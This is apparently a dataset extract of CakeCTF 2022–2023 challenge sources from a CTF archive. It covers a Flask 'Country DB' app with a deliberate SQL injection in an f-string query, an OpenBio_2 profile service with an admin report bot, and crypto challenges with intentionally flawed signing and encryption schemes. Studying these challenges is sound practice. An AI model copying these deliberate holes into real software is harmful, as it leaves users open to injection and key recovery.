('ZM', 'Zambia'),
('ZW', 'Zimbabwe'),
]
conn.executemany("INSERT INTO country VALUES (?, ?)", countries)
conn.commit()
conn.close()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CakeCTF/2023/web/Country_DB/app.py | ctfs/CakeCTF/2023/web/Country_DB/app.py | #!/usr/bin/env python3
import flask
import sqlite3
app = flask.Flask(__name__)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
found = cur.fetchone()
return None if found is None else found[0]
@app.route('/')
def index():
return flask.render_template("index.html")
@app.route('/api/search', methods=['POST'])
def api_search():
req = flask.request.get_json()
if 'code' not in req:
flask.abort(400, "Empty country code")
code = req['code']
if len(code) != 2 or "'" in code:
flask.abort(400, "Invalid country code")
name = db_search(code)
if name is None:
flask.abort(404, "No such country")
return {'name': name}
if __name__ == '__main__':
app.run(debug=True)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CakeCTF/2023/web/OpenBio_2/service/app.py | ctfs/CakeCTF/2023/web/OpenBio_2/service/app.py | import bleach
import flask
import json
import os
import re
import redis
REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_PORT", "6379"))
app = flask.Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if flask.request.method == 'GET':
return flask.render_template("index.html")
err = None
bio_id = os.urandom(32).hex()
name = flask.request.form.get('name', 'Anonymous')
email = flask.request.form.get('email', '')
bio1 = flask.request.form.get('bio1', '')
bio2 = flask.request.form.get('bio2', '')
if len(name) > 20:
err = "Name is too long"
elif len(email) > 40:
err = "Email is too long"
elif len(bio1) > 1001 or len(bio2) > 1001:
err = "Bio is too long"
if err:
return flask.render_template("index.html", err=err)
db().set(bio_id, json.dumps({
'name': name, 'email': email, 'bio1': bio1, 'bio2': bio2
}))
return flask.redirect(f"/bio/{bio_id}")
@app.route('/bio/<bio_id>')
def bio(bio_id):
if not re.match("^[0-9a-f]{64}$", bio_id):
return flask.redirect("/")
bio = db().get(bio_id)
if bio is None:
return flask.redirect("/")
bio = json.loads(bio)
name = bio['name']
email = bio['email']
bio1 = bleach.linkify(bleach.clean(bio['bio1'], strip=True))[:10000]
bio2 = bleach.linkify(bleach.clean(bio['bio2'], strip=True))[:10000]
return flask.render_template("bio.html",
name=name, email=email, bio1=bio1, bio2=bio2)
def db():
if getattr(flask.g, '_redis', None) is None:
flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
return flask.g._redis
if __name__ == '__main__':
app.run()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CakeCTF/2023/web/OpenBio_2/report/app.py | ctfs/CakeCTF/2023/web/OpenBio_2/report/app.py | import flask
import json
import os
import re
import redis
import requests
REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_HOST", "6379"))
RECAPTCHA_KEY = os.getenv("RECAPTCHA_KEY", None)
app = flask.Flask(__name__)
def db():
if getattr(flask.g, '_redis', None) is None:
flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=1)
return flask.g._redis
def recaptcha(response):
if RECAPTCHA_KEY is None:
# Players' environment
return True
r = requests.post("https://www.google.com/recaptcha/api/siteverify",
params={'secret': RECAPTCHA_KEY,
'response': response})
return json.loads(r.text)['success']
@app.route("/", methods=['GET', 'POST'])
def report():
error = ok = ""
if flask.request.method == 'POST':
bio_id = str(flask.request.form.get('url', ''))
response = flask.request.form.get('g-recaptcha-response')
if not re.match("^[0-9a-f]{64}$", bio_id):
error = 'Invalid bio ID'
elif not recaptcha(response):
error = "reCAPTCHA failed."
else:
db().rpush('report', f"bio/{bio_id}")
ok = "Admin will check it soon."
return flask.render_template("index.html", ok=ok, error=error)
if __name__ == '__main__':
app.run(debug=True)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CakeCTF/2022/crypto/rock_door/server.py | ctfs/CakeCTF/2022/crypto/rock_door/server.py | from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes
from hashlib import sha256
import os
import secrets
def h(s: bytes) -> int:
return int(sha256(s).hexdigest(), 16)
q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003
p = 2*q + 1
assert isPrime(p)
assert isPrime(q)
g = 2
flag = os.getenv("FLAG", "FakeCTF{hahaha_shshsh_hashman}")
x = h(secrets.token_bytes(16) + flag.encode())
y = pow(g, x, p)
def sign(m: bytes):
z = h(m)
k = h(long_to_bytes(x + z))
r = h(long_to_bytes(pow(g, k, p)))
s = (z + x*r) * inverse(k, q) % q
return r, s
def verify(m: bytes, r: int, s: int):
z = h(m)
sinv = inverse(s, q)
gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p
r2 = h(long_to_bytes(gk))
return r == r2
print("p =", p)
print("g =", g)
print("y =", y)
print("=== sign ===")
m = input("m = ").strip().encode()
if b"goma" in m:
quit()
r, s = sign(m)
# print("r =", r) do you really need?
print("s =", s)
print("=== verify ===")
m = input("m = ").strip().encode()
r = int(input("r = "))
s = int(input("s = "))
assert 0 < r < q
assert 0 < s < q
ok = verify(m, r, s)
if ok and m == b"hirake goma":
print(flag)
elif ok:
print("OK")
else:
print("NG")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CakeCTF/2022/crypto/brand_new_crypto/task.py | ctfs/CakeCTF/2022/crypto/brand_new_crypto/task.py | from Crypto.Util.number import getPrime, getRandomRange, inverse, GCD
import os
flag = os.getenv("FLAG", "FakeCTF{sushi_no_ue_nimo_sunshine}").encode()
def keygen():
p = getPrime(512)
q = getPrime(512)
n = p * q
phi = (p-1)*(q-1)
while True:
a = getRandomRange(0, phi)
b = phi + 1 - a
s = getRandomRange(0, phi)
t = -s*a * inverse(b, phi) % phi
if GCD(b, phi) == 1:
break
return (s, t, n), (a, b, n)
def enc(m, k):
s, t, n = k
r = getRandomRange(0, n)
c1, c2 = m * pow(r, s, n) % n, m * pow(r, t, n) % n
assert (c1 * inverse(m, n) % n) * inverse(c2 * inverse(m, n) % n, n) % n == pow(r, s - t, n)
assert pow(r, s -t ,n) == c1 * inverse(c2, n) % n
return m * pow(r, s, n) % n, m * pow(r, t, n) % n
def dec(c1, c2, k):
a, b, n = k
return pow(c1, a, n) * pow(c2, b, n) % n
pubkey, privkey = keygen()
c = []
for m in flag:
c1, c2 = enc(m, pubkey)
assert dec(c1, c2, privkey)
c.append((c1, c2))
print(pubkey)
print(c)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CakeCTF/2022/crypto/frozen_cake/task.py | ctfs/CakeCTF/2022/crypto/frozen_cake/task.py | from Crypto.Util.number import getPrime
import os
flag = os.getenv("FLAG", "FakeCTF{warmup_a_frozen_cake}")
m = int(flag.encode().hex(), 16)
p = getPrime(512)
q = getPrime(512)
n = p*q
print("n =", n)
print("a =", pow(m, p, n))
print("b =", pow(m, q, n))
print("c =", pow(m, n, n))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.